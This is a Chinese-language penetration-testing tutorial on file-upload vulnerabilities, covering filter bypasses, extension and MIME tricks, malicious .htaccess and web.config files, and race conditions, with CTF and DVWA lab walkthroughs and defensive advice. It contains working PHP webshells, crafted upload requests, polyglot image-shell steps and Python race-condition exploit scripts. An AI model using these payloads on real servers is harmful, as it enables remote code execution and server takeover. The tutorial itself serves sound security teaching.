Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
一、概念
一、什么是文件上传漏洞
二、漏洞产生的根本原因
三、漏洞危害
四、典型攻击流程
五、常见绕过方式
六、防御建议
七、经典漏洞示例(DVWA Low 级别)
八、总结
二、前端过滤绕过
一、常见的前端过滤方式
二、前端过滤的核心缺陷
三、绕过前端过滤的典型步骤(以图片上传为例)
四、前端过滤的唯一正确用途
五、安全开发建议
六、靶场演示
前端验证:
三、后端文件类型绕过
一、定义
二、核心原理
三、常见后端文件类型绕过方法
1. MIME 类型绕过(修改 Content-Type)
2. 文件头魔数伪造(图片马/文档马)
3. 组合利用:伪造头部 + 修改扩展名
4. 利用文件内容检测的局限性
四、与“后端文件扩展名绕过”的区别
五、防御措施(针对后端文件类型绕过)
六、总结
七、靶场演示
MIME绕过:
文件头检测:
四、后端文件扩展名绕过
一、定义
二、核心原理
三、常见扩展名绕过方法
四、典型攻击流程(以黑名单为例)
五、与“后端文件类型绕过”的区别
六、防御措施
七、总结
八、靶场演示
00截断:
双写绕过:
五、配置文件漏洞
一、核心原理
二、常见可被利用的配置文件
三、典型攻击步骤(以 .htaccess 为例)
四、其他配置文件漏洞利用变种
五、防御措施
六、总结
七、靶场演示
.htaccess:
六、条件竞争
一、什么是条件竞争漏洞
二、漏洞产生的原因
三、常见的条件竞争攻击场景
场景1:上传后检查前被访问
场景2:先保存,后重命名/移动
场景3:分块上传与合并
四、典型攻击代码示例(Python 脚本)
五、漏洞实例(DVWA 等靶场)
六、修复与防御措施
七、总结
八、靶场演示
一、漏洞概述
二、漏洞代码分析
三、攻击步骤
Step 1:构造恶意上传文件(test.php)
Step 2:准备并发上传工具
Step 3:启动并发上传攻击
Step 4:同时访问上传的临时文件
Step 5:写入WebShell并验证
一、概念
一、什么是文件上传漏洞
文件上传漏洞是指 Web 应用程序在处理用户上传的文件时,未对文件的类型、内容、大小等进行严格校验,导致攻击者可以上传恶意文件(如 WebShell、恶意脚本、可执行文件等),并通过后续访问该文件,在服务器上执行任意代码,从而完全控制服务器。
简单来说:你允许用户上传头像、附件、文档,但没检查上传的是不是真的图片/文档,攻击者就能上传一个“披着图片外衣”的木马。
二、漏洞产生的根本原因
缺乏有效的文件类型校验
仅通过
Content-Type(如image/jpeg)判断,攻击者可轻易伪造。仅检查文件扩展名(如
.jpg),攻击者可双扩展名或利用解析漏洞绕过。
文件内容未进行深度检查
未检查文件头(Magic Number),攻击者可伪造
GIF89a头部,后面跟恶意代码。
上传后的文件可被访问或执行
文件保存在 Web 可访问目录(如
uploads/),且服务器将其作为脚本解析(如 PHP、ASP、JSP)。
缺乏重命名或隔离存储
直接保留原始文件名,攻击者可利用路径遍历(
../)覆盖系统文件。
三、漏洞危害
| 危害等级 | 具体影响 |
|---|---|
| 高危 | 上传 WebShell(如webshell.php),获取服务器控制权 → 读取/修改所有文件、提权、内网渗透 |
| 高危 | 上传恶意脚本执行系统命令,如反弹 Shell、下载木马 |
| 中危 | 上传恶意的 HTML/JS 文件 → 存储型 XSS 攻击,或钓鱼页面 |
| 中危 | 上传大文件耗尽服务器磁盘空间,导致拒绝服务 |
| 低危 | 覆盖已有文件(如../../config.php)导致业务异常 |
四、典型攻击流程
示例(PHP WebShell 上传):
编写
shell.php,内容:<?php system($_GET['cmd']); ?>将扩展名改为
shell.jpg或伪造 Content-Type 为image/jpeg上传成功,服务器保存为
http://target.com/uploads/shell.jpg攻击者访问
http://target.com/uploads/shell.jpg?cmd=whoami如果服务器配置不当(如 Apache 将
.jpg按 PHP 解析),则执行whoami命令并返回结果。
五、常见绕过方式
| 防御措施 | 绕过方法 |
|---|---|
| 仅检查前端 JS 扩展名 | 修改请求包(抓包改后缀名) |
| 检查 Content-Type | 修改为image/gif等白名单 MIME |
| 检查文件头(Magic Number) | 在文件开头添加GIF89a,后面跟上真实代码 |
黑名单禁止php等扩展名 | 使用.php3,.phtml,.php5或双写.phphpp |
| 仅客户端验证 | 直接上传原始恶意文件,无防护 |
六、防御建议
采用白名单校验
只允许特定的扩展名(如
jpg,png,gif,doc,pdf),拒绝所有其他扩展名。
检查文件内容
使用
getimagesize()或读取文件头(Magic Number)验证真实类型。
上传后重命名
使用随机字符串(如 UUID)作为文件名,不保留原始名称。
隔离存储
将文件存储到 Web 根目录之外,通过脚本读取并提供下载(避免直接 URL 执行)。
如果必须 Web 可访问,设置该目录无脚本执行权限(如 Apache 的
php_flag engine off)。
限制文件大小
防止大文件上传耗尽资源。
使用 Content-Disposition
强制浏览器下载而非解析(针对 HTML 等文件)。
七、经典漏洞示例(DVWA Low 级别)
DVWA 的文件上传模块(Low):
<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '上传失败'; } else { echo "文件已上传至 {$target_path}"; } } ?>没有任何检查 → 直接上传shell.php即可获得 WebShell。
八、总结
文件上传漏洞本质是信任了用户提供的数据并允许其在服务器上执行。修复的核心原则:
所有上传的文件都应当被视为潜在的恶意文件,必须经过严格的类型校验、重命名、隔离存储,并禁止直接执行。
二、前端过滤绕过
前端过滤指的是 Web 应用在浏览器端(通过 JavaScript、HTML 属性等)对用户上传的文件进行初步检查,例如限制文件扩展名、文件类型或大小。它只能提供用户体验上的便利,无法作为真正的安全防护,因为攻击者可以轻松绕过前端限制。
一、常见的前端过滤方式
| 类型 | 实现方式 | 示例 |
|---|---|---|
| 扩展名限制 | HTMLaccept属性 | <input type="file" accept="image/jpeg,image/png"> |
| JavaScript 校验 | JS 读取文件扩展名或 MIME 类型,不符合则阻止提交 | if(!/\.(jpg|png)$/i.test(fileName)) { alert('只允许图片'); } |
| 前端文件类型检测 | 读取File对象的type属性(基于 MIME) | if(file.type !== 'image/jpeg') { alert('非法类型'); } |
| 前端大小限制 | 检查file.size属性 | if(file.size > 2*1024*1024) { alert('文件超过2MB'); } |
二、前端过滤的核心缺陷
所有前端验证都可以被绕过,因为攻击者完全可以控制 HTTP 请求的构造。
浏览器执行的前端校验仅发生在用户本地,攻击者可以通过以下方法轻松绕过:
直接篡改 HTTP 请求使用 Burp Suite、Fiddler 等代理工具,拦截上传请求,将文件名、Content-Type 等修改为符合后端要求的格式,而实际发送的却是恶意文件内容。
禁用或修改 JavaScript
使用浏览器开发者工具删除相关校验函数。
在浏览器设置中禁用 JavaScript,使前端校验代码完全不执行。
修改
accept属性或绕过File对象的检查。
构造自定义 HTTP 请求直接用
curl、Postman 等工具发送 POST 请求,完全绕过浏览器环境,自定义上传参数。
三、绕过前端过滤的典型步骤(以图片上传为例)
准备恶意文件编写一个
shell.php或shell.jpg.php,内容为<?php system($_GET['cmd']); ?>。修改文件名在拦截的请求中,将
filename="shell.php"改为filename="shell.jpg"(如果后端仅检查扩展名)。 或将Content-Type改为image/jpeg。发送请求转发修改后的请求,文件内容依然是恶意脚本,但前后端看到的文件“类型”符合预期。
POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg <?php system($_GET['cmd']); ?> ------WebKitFormBoundary--
如果服务器未做严格后端校验,这个shell.jpg就可能被保存并以 PHP 解析执行。
四、前端过滤的唯一正确用途
前端过滤只能用于提升用户体验,例如:
提醒用户上传正确的文件格式,减少无效提交。
在文件过大时提前提示,避免网络传输浪费。
永远不要依赖前端过滤来阻止恶意文件上传。安全必须建立在后端校验上。
五、安全开发建议
| 校验点 | 正确实现方式 |
|---|---|
| 文件扩展名 | 后端使用白名单(如['jpg','png']),拒绝所有其他扩展名。 |
| MIME 类型 | 后端检测$_FILES['file']['type']不可信,应读取文件真实魔数(如finfo_file)。 |
| 文件内容 | 图片文件调用getimagesize();文本文件检测是否有危险函数。 |
| 存储方式 | 重命名为随机字符串(如md5(time())),上传目录禁止脚本执行(如.htaccess设置php_flag engine off)。 |
| 大小限制 | 后端配置upload_max_filesize及post_max_size。 |
六、靶场演示
以ctfhub靶场为例
前端验证:
这个前端验证不能直接上传木马文件
f12看源代码,只能上传jpg,phg,gif文件
所以要把木马文件改一下
用bp抓包,再把jpg改成php
放包上传
用蚁剑测试连接,找flag文件
找到flag
三、后端文件类型绕过
一、定义
后端文件类型绕过是指攻击者通过伪造或篡改文件的内容特征(如 MIME 类型、文件头魔数等),使后端程序在检查文件类型时将其误判为合法类型(如图片、文档),从而绕过服务器端基于文件类型的安全校验,成功上传恶意文件(如 WebShell)的技术。
简单来说:欺骗服务器让它相信你上传的是一张图片或一个 PDF,而实际上里面藏着可执行的脚本代码。
二、核心原理
后端在接收文件时,通常会通过以下几种方式判断文件的“真实类型”:
| 检查方式 | 依赖数据 | 可被伪造? |
|---|---|---|
$_FILES['file']['type'] | 客户端发送的Content-Type头 | 极易伪造 |
| 文件扩展名 | 文件名后缀 | 不属于“类型”检查,属于扩展名检查 |
| 文件头魔数 | 文件开头的若干字节(如FF D8 FF表示 JPEG) | 可伪造 |
调用finfo_file()/getimagesize() | 读取文件真实内容 | 可伪造(仅头部) |
绕过的关键在于:后端往往只检查文件的前几个字节或客户端提供的Content-Type,而不会完整解析文件内容。攻击者可以在恶意文件的开头插入合法的文件头,使校验函数误判。
三、常见后端文件类型绕过方法
1. MIME 类型绕过(修改Content-Type)
场景:后端仅检查
$_FILES['file']['type']是否在白名单内,例如image/jpeg、image/png。绕过:使用 Burp Suite 拦截上传请求,将
Content-Type改为允许的值,而文件内容保持不变(恶意脚本)。示例:
Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg ← 伪造为图片类型
2. 文件头魔数伪造(图片马/文档马)
场景:后端调用
finfo_file()、getimagesize()或检查文件开头的魔术数字。绕过:在恶意文件前插入合法文件头。例如:
图片马:
GIF89a<?php system($_GET['cmd']); ?>PDF 马:
%PDF-1.4 ... <?php ... ?>
原理:
getimagesize()读取到GIF89a会返回合法图片信息,但后续的 PHP 代码在特定条件下仍可被执行(如服务器将图片当作脚本解析、或包含漏洞)。
3. 组合利用:伪造头部 + 修改扩展名
场景:后端同时检查扩展名(白名单)和文件头。
绕过:上传
shell.jpg,文件头伪造为FF D8 FF(JPEG),内容为 PHP 代码。扩展名和头部都符合图片要求,但文件内嵌脚本。后续利用:如果服务器配置错误(如
.htaccess将.jpg也作为 PHP 解析),或者存在本地文件包含漏洞,即可执行。
4. 利用文件内容检测的局限性
某些后端只检查文件头,而忽略文件其余部分。攻击者可在头部之后添加大量垃圾数据再插入真实脚本,绕过简单的字符串匹配。
对于 PDF、DOCX 等复合文档,攻击者可将恶意宏或脚本嵌入正常文档中,保持文件类型特征不变。
四、与“后端文件扩展名绕过”的区别
| 对比项 | 后端文件类型绕过 | 后端文件扩展名绕过 |
|---|---|---|
| 攻击目标 | 针对文件的内容特征(MIME、魔数) | 针对文件名的后缀(扩展名) |
| 典型方法 | 修改Content-Type、伪造文件头 | 双扩展名、00截断、大小写混淆、利用黑名单遗漏 |
| 检测依据 | 文件实际字节内容 | 文件名字符串 |
| 绕过后果 | 服务器将恶意文件误认为合法类型而接收 | 服务器允许非法扩展名上传 |
两者可能同时使用:例如上传一个文件,扩展名伪装成.jpg,文件头也伪装成GIF89a,最终获得一个图片马。
五、防御措施(针对后端文件类型绕过)
不要信任客户端提供的 MIME:忽略
$_FILES['file']['type'],改用后端真实检测。深度检查文件头:不仅检查前几个字节,还应验证文件整个签名(如 PNG 需要检查多个 chunk)。
对图片进行二次渲染:使用 GD 或 Imagick 重新生成图片,彻底消除恶意嵌入代码。
使用多维度白名单:文件扩展名 + 文件头 + 文件内容特征(如图片尺寸、PDF 结构)三者同时匹配才放行。
隔离存储与执行:上传文件存放于 Web 目录之外,通过脚本输出;上传目录禁止脚本执行。
六、总结
后端文件类型绕过的本质是服务器对文件真实类型的判定逻辑存在盲点,攻击者可以利用这些盲点,让一个恶意文件通过“类型检查”并被存储到服务器上。成功的绕过通常还需要配合解析漏洞或包含漏洞才能造成实际危害。安全地实现文件上传,必须将内容检测与存储隔离相结合,而非依赖任何单一校验点
七、靶场演示
MIME绕过:
这个也不能直接上传木马文件
需要抓包,修改第17行的值,改成image/png
放包再上传
用蚁剑测试连接
找到flag
文件头检测:
这个必须搞一个图片木马才能绕过
截一个小图片
把图片和木马结合到一块
cat mm.png mm.php > mm_shell.png
继续进行上传抓包,把png改成php
url和路径结合
蚁剑测试连接
得到flag
四、后端文件扩展名绕过
一、定义
后端文件扩展名绕过是指攻击者通过构造特殊的文件名,使后端程序在检查文件扩展名时产生错误判断(例如将恶意文件判断为允许上传的类型),从而绕过基于扩展名的安全校验,成功上传可执行脚本(如 WebShell)的攻击技术。
简单来说:欺骗服务器让它以为你上传的是.jpg或.png,而实际保存下来的文件名却是.php或.asp。
二、核心原理
后端通常通过获取文件名中的扩展名(如pathinfo($filename, PATHINFO_EXTENSION))并与黑名单/白名单比对来决定是否允许上传。攻击者利用以下差异实现绕过:
验证逻辑与保存逻辑不一致:后端检查时看到的扩展名是合法的,但实际保存到服务器时的文件名却是恶意的。
黑名单覆盖不全:某些可执行扩展名未被禁止。
字符串处理缺陷:大小写、双写、截断等导致过滤失效。
三、常见扩展名绕过方法
| 绕过方法 | 原理 | 示例文件名 | 效果 |
|---|---|---|---|
| 黑名单不完整 | 仅禁止.php,未禁止其他 PHP 扩展名 | shell.php5、shell.phtml | 文件被保存为.php5,仍可被 PHP 解析 |
| 大小写混淆 | 黑名单只检查小写,未做归一化 | shell.PhP | 若系统大小写不敏感(如 Windows),保存后仍可作为 PHP 执行 |
| 双扩展名(解析顺序差异) | 后端只检查最后一个点后的后缀,而某些服务器解析机制使用第一个后缀 | shell.jpg.php | 后端检查到.php被拦截;但若检查第一个点:shell.php.jpg被误判为.jpg而放行,服务器却可能执行.php部分 |
| 特殊字符截断(00截断) | 使用%00或0x00截断字符串,导致检查时只看到合法扩展名 | shell.php%00.jpg | 后端检测.jpg通过,但 C 类函数保存时截断为shell.php |
| 双写绕过 | 黑名单删除一次危险关键字后,剩余部分仍构成危险扩展名 | shell.pphphp | 过滤php后剩下shell.php |
| 文件系统特性(Windows) | 末尾的.或空格被自动去除 | shell.php. | 检查时扩展名为空(或.被忽略),保存后变为shell.php |
| 利用 NTFS 流文件 | 文件名包含:,检查时忽略流名,保存时生成流文件 | shell.php:jpg | 检查扩展名为jpg,实际写入shell.php(流文件) |
四、典型攻击流程(以黑名单为例)
探测黑名单:尝试上传
test.php→ 被拦截;上传test.php5→ 成功。说明黑名单未包含.php5。上传 WebShell:将
<?php system($_GET['cmd']); ?>命名为shell.php5上传。获取访问路径:假设上传目录为
/uploads/shell.php5。执行命令:访问
http://target.com/uploads/shell.php5?cmd=whoami,获得系统权限。
五、与“后端文件类型绕过”的区别
| 对比项 | 后端文件扩展名绕过 | 后端文件类型绕过 |
|---|---|---|
| 攻击目标 | 文件名的后缀字符串 | 文件的内容特征(MIME、魔数) |
| 检查依据 | $_FILES['name']中的扩展名 | 文件头或客户端Content-Type |
| 典型方法 | 双扩展名、00截断、双写、大小写、利用系统特性 | 伪造 MIME、图片马、PDF 马 |
| 绕过后果 | 非法扩展名被允许上传 | 恶意文件被误判为合法类型 |
两者可组合使用:攻击者可能同时伪造扩展名(如.jpg)和文件头(GIF89a),上传一个“图片马”。
六、防御措施
使用白名单而非黑名单:只允许业务必需的少数扩展名(如
.jpg,.png,.pdf),拒绝其他所有后缀。归一化处理:将文件名转为小写、去除末尾点/空格、过滤控制字符后再校验。
严格白名单匹配:不允许任何不在列表中的扩展名,包括
.php5、.phtml等变种。重命名文件:上传后使用随机字符串(如
UUID.jpg)重新命名,不保留原始文件名。禁用危险解析:上传目录配置禁止脚本执行(如 Apache 的
php_flag engine off)。多层校验:扩展名 + 文件头 + 内容检测组合使用。
七、总结
后端文件扩展名绕过本质是利用文件名处理逻辑的缺陷或配置的疏忽,让恶意脚本以“合法”的名义入驻服务器。最有效的防御是白名单 + 重命名 + 存储隔离,彻底消除扩展名带来的风险。
八、靶场演示
00截断:
导入mm.jpg
修改
放包上传可能不显示上传路径,手动添加一下
跟上面操作一样,用蚁剑测试连接,找到flag
双写绕过:
上传php木马
抓包把php改成pphphp
放包
用蚁剑测试连接成功
找到flag
五、配置文件漏洞
配置文件漏洞是文件上传漏洞的一种特殊利用方式。攻击者通过上传特定的配置文件(如.htaccess、web.config、httpd.conf等)来改变服务器对文件解析的行为,从而使之前上传的普通文件(如图片、文本)被当作脚本执行,或直接执行恶意代码。
一、核心原理
Web 服务器(如 Apache、Nginx、IIS)允许在特定目录下放置配置文件,用于覆盖全局设置。如果网站的上传功能没有限制文件类型,攻击者可以上传一个恶意的配置文件,并利用它:
将任意扩展名的文件(如
.jpg)当作 PHP 或 ASP 脚本解析。开启服务器目录列表,方便访问上传的其他恶意文件。
修改错误处理、重定向规则等,辅助钓鱼或攻击。
成功上传配置文件后,攻击者再上传一个内容为恶意脚本的“图片马”或“文本文件”,由于配置文件已改变解析规则,该伪装的普通文件会被服务器当作脚本执行,从而获取 WebShell。
二、常见可被利用的配置文件
| 配置文件 | 适用服务器 | 作用 |
|---|---|---|
.htaccess | Apache | 目录级配置,可覆盖主配置文件。 |
web.config | IIS 7.0+ | 可控制错误页面、处理程序映射等。 |
httpd.conf/apache2.conf | Apache(全局) | 除非上传目录恰好是主配置目录,一般无法覆盖。 |
.user.ini | PHP (FastCGI 模式) | 可设置auto_prepend_file等选项,自动包含文件。 |
三、典型攻击步骤(以.htaccess为例)
上传
.htaccess文件构造一个.htaccess内容:AddType application/x-httpd-php .jpg .png .gif
该指令使 Apache 将扩展名为
.jpg、.png、.gif的文件当作 PHP 脚本解析。绕过文件类型检查如果后端限制了上传文件的扩展名(如仅允许图片),攻击者可将文件名设为
shell.jpg,内容为:<?php system($_GET['cmd']); ?>
同时可能还需要伪造文件头(如
GIF89a)以通过内容检查。访问触发访问
http://target.com/uploads/shell.jpg?cmd=id,即使文件扩展名为.jpg,由于.htaccess的配置,服务器仍会以 PHP 执行该文件,返回uid=www-data等信息。
四、其他配置文件漏洞利用变种
| 配置文件 | 恶意配置示例 | 利用效果 |
|---|---|---|
web.config(IIS) | xml<handlers><add name="php" path="*.jpg" verb="*" modules="FastCgiModule" scriptProcessor="C:\php\php-cgi.exe" /></handlers> | 将.jpg映射给 PHP 解析器 |
.user.ini(PHP) | auto_prepend_file = shell.jpg | 在每个 PHP 文件执行前自动包含shell.jpg(该文件内嵌恶意代码) |
.htaccess | php_value auto_prepend_file shell.jpg | 同上,实现自动包含 |
.htaccess | Options +Indexes | 开启目录列表,暴露其他上传文件 |
crossdomain.xml | <allow-access-from domain="*" /> | 开启跨域策略,可能被用于 CSRF 或信息窃取 |
五、防御措施
白名单限制上传文件扩展名:坚决不允许上传
.htaccess、.ini、.xml、.config等配置文件扩展名。重命名上传文件:使用随机字符串(如
md5(time()))重命名,并保留安全的扩展名(如.jpg),完全丢弃原始文件名。设置上传目录禁止执行脚本:在 Apache 中使用
.htaccess禁用 PHP 引擎:php_flag engine off
或在 Nginx 中使用
location匹配上传目录,返回 404 或直接拒绝访问。限制目录配置覆盖范围:在 Apache 主配置中设置
AllowOverride None,禁止使用.htaccess覆盖配置。定期扫描上传目录:检查是否存在非预期的配置文件或恶意脚本。
文件内容检查:对上传的文件内容进行深度扫描,防止内嵌恶意代码。
六、总结
配置文件漏洞是文件上传攻击中威力巨大的一类,它不直接上传 WebShell,而是通过“改变规则”让服务器为攻击者服务。防御的关键在于严格的扩展名白名单 + 重命名 + 上传目录无执行权限,三者缺一不可。
七、靶场演示
.htaccess:
.htaccess文件,用.htaccess为文件名
<FilesMatch "\.jpg$"> SetHandler application/x-httpd-php </FilesMatch>
先上传.htaccess文件
再上传图片木马文件
把url和上传路径给结合,用·蚁剑验证
得到flag
六、条件竞争
一、什么是条件竞争漏洞
条件竞争漏洞是指系统在处理多个并发请求时,由于代码执行的时序问题,导致攻击者能够利用“检查与使用”之间的时间差,绕过安全限制。在文件上传场景中,条件竞争通常发生在:
服务器接收到上传的文件后,先临时保存,然后才进行安全检查(如扫描病毒、检测类型、重命名等)。
在文件被验证之前,攻击者能够访问并执行该临时文件。
简而言之:攻击者抢在服务器“杀死”恶意文件之前,抢先触发它的执行。
二、漏洞产生的原因
典型的不安全代码流程如下:
接收上传文件,保存到服务器临时目录(例如
/tmp/upload_12345.tmp)或最终上传目录。对文件进行安全检查(扩展名、MIME、内容扫描等)。
若检查不通过,删除该文件。
问题在于:从第1步到第3步之间存在一个时间窗口。如果攻击者能够在文件被删除之前,发起另一个并发请求访问这个文件(如通过已知路径直接请求),则恶意代码可能被执行。
三、常见的条件竞争攻击场景
场景1:上传后检查前被访问
上传一个
shell.php,内容为<?php system($_GET['cmd']); ?>。服务器接收后,临时保存在
/uploads/目录下(或公开可访问的临时路径)。同时,攻击者编写脚本,在上传瞬间不断请求
http://target.com/uploads/shell.php?cmd=whoami。如果请求在文件被删除之前到达,且服务器配置将该文件作为 PHP 解析,则命令执行成功。
场景2:先保存,后重命名/移动
某些应用先将文件保存到最终目录,再检查后缀,发现非法则删除。攻击者可以在删除前访问。
场景3:分块上传与合并
一些应用支持分块上传,将文件块暂存后再合并。攻击者可以在合并完成前访问未完成的临时文件。
四、典型攻击代码示例(Python 脚本)
import threading import requests upload_url = "http://target.com/upload.php" attack_url = "http://target.com/uploads/shell.php" # 上传恶意文件 files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')} data = {'submit': 'upload'} def upload(): while True: requests.post(upload_url, files=files, data=data) def attack(): while True: r = requests.get(attack_url + "?cmd=whoami") if r.status_code == 200: print(r.text) break # 多线程并发 for i in range(10): threading.Thread(target=upload).start() threading.Thread(target=attack).start()五、漏洞实例(DVWA 等靶场)
DVWA 文件上传模块(low/medium):上传后直接保存,不检查或仅简单检查,无删除机制 → 无竞争问题。
某些安全插件:先上传到临时目录,后台扫描,扫描通过才移至最终目录。此时存在竞争窗口。
六、修复与防御措施
| 措施 | 说明 |
|---|---|
| 先验证后保存 | 在内存中完成所有检查(扩展名、MIME、内容扫描),通过后再写入磁盘,消除临时文件暴露时间。 |
| 使用不易猜测的路径 | 将上传文件保存到 Web 目录之外,或使用随机字符串命名,使攻击者无法直接猜测访问路径。 |
| 设置临时目录禁止执行脚本 | 临时目录配置.htaccess或php_flag engine off,即使被访问也不会执行。 |
| 文件锁定机制 | 在检查期间对文件加锁,检查完成前禁止其他进程读取。 |
| 原子操作 | 将“写入-检查-移动”设计为原子操作(如使用数据库事务或文件系统 rename 配合锁)。 |
| 及时删除 | 减少检查时间,尽快删除非法文件。但无法完全消除竞争窗口。 |
七、总结
条件竞争是文件上传漏洞中的高级利用技巧,它不直接绕过内容检查,而是利用服务器处理文件时的逻辑顺序缺陷。防御的核心是:在文件写入可访问位置之前完成所有安全检查,或者使临时文件无法被攻击者访问/执行。
八、靶场演示
一、漏洞概述
本次测试的目标是一个存在条件竞争(Race Condition)的文件上传功能。后端PHP代码的缺陷在于:先将上传的文件保存到服务器,再检查文件扩展名是否在白名单内,如果不合法则删除。攻击者可以利用“保存”与“删除”之间的极短时间窗口,在文件被删除前抢先访问并执行它,从而获得WebShell。
二、漏洞代码分析
前端:
后端:
$ext_arr = array('jpg', 'png', 'gif'); $file_ext = end(explode(".", $name)); // 获取扩展名 $upload_file = "./images/{$name}"; if(move_uploaded_file($temp_file, $upload_file)){ // 先移动文件 if(in_array($file_ext, $ext_arr)){ // 后检查扩展名 echo "success"; }else{ unlink($upload_file); // 不合法则删除 } }问题:从move_uploaded_file完成到unlink执行之间存在时间差。攻击者可在此期间访问该文件,触发执行。
三、攻击步骤
Step 1:构造恶意上传文件(test.php)
文件内容:
<?php file_put_contents("shell.php", '<?php eval($_POST[0]); ?>'); echo "getshell!!!"; ?>目的:该脚本被临时保存后,一旦被访问,会在当前目录生成一个真正的WebShellshell.php,内容为一句话木马(密码0)。
Step 2:准备并发上传工具
使用Burp Suite Intruder实现无限循环上传。
抓包:拦截上传
test.php的POST请求。发送到Intruder(Ctrl+I)。
清空Payload位置标记(因为不需要替换参数,只需重复发送相同请求)。
Payloads设置:
Payload type:Null payloads
勾选Continue indefinitely(无限持续发送)
Resource pool:设置足够高的并发线程数(如20)。
Step 3:启动并发上传攻击
访问test.php
再进行bp抓包,发到Intruder进行爆破
点击Start attack,Burp Suite 开始以极高频率重复上传test.php。
如果上传不了,那就使用下面脚本访问test.php
import requests import threading def demo(): req = requests.get("http://IP/images/test.php") while True: threading.Thread(target=demo).start()Step 4:同时访问上传的临时文件
在并发上传期间,使用浏览器或curl反复请求:
http://靶机IP/images/test.php
由于test.php被不断上传并短暂存在,总有一次请求会在文件被删除前命中,从而触发脚本执行。
Step 5:写入WebShell并验证
成功执行后,test.php会在同一目录(/images/)下生成shell.php。访问:
http://靶机IP/images/shell.php
POST参数0=phpinfo();即可看到PHP配置信息,证明WebShell可用
